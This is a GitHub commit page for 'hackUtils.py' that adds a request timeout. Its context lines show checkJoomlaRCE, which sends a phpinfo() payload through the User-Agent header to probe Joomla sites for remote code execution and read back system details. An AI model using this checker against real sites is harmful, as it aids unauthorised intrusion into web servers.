Skip to content

Commit 2f0b92f

Browse files
committed
Update hackUtils.py
1 parent 5d546c7 commit 2f0b92f

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

hackUtils.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -407,7 +407,6 @@ def checkJoomlaRCE(url):
407407
poc = generate_payload("phpinfo();")
408408
try:
409409
result = get_url(url, poc)
410-
411410
if 'phpinfo()' in result:
412411
system = getInfoByJoomlaRCE(result, 'System')
413412
document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')
@@ -426,7 +425,7 @@ def get_url(url, user_agent):
426425
}
427426
cookies = requests.get(url,headers=headers).cookies
428427
for _ in range(3):
429-
response = requests.get(url, headers=headers,cookies=cookies)
428+
response = requests.get(url, timeout=30, headers=headers,cookies=cookies)
430429
return response.content
431430

432431
def php_str_noquotes(data):

0 commit comments

Comments
 (0)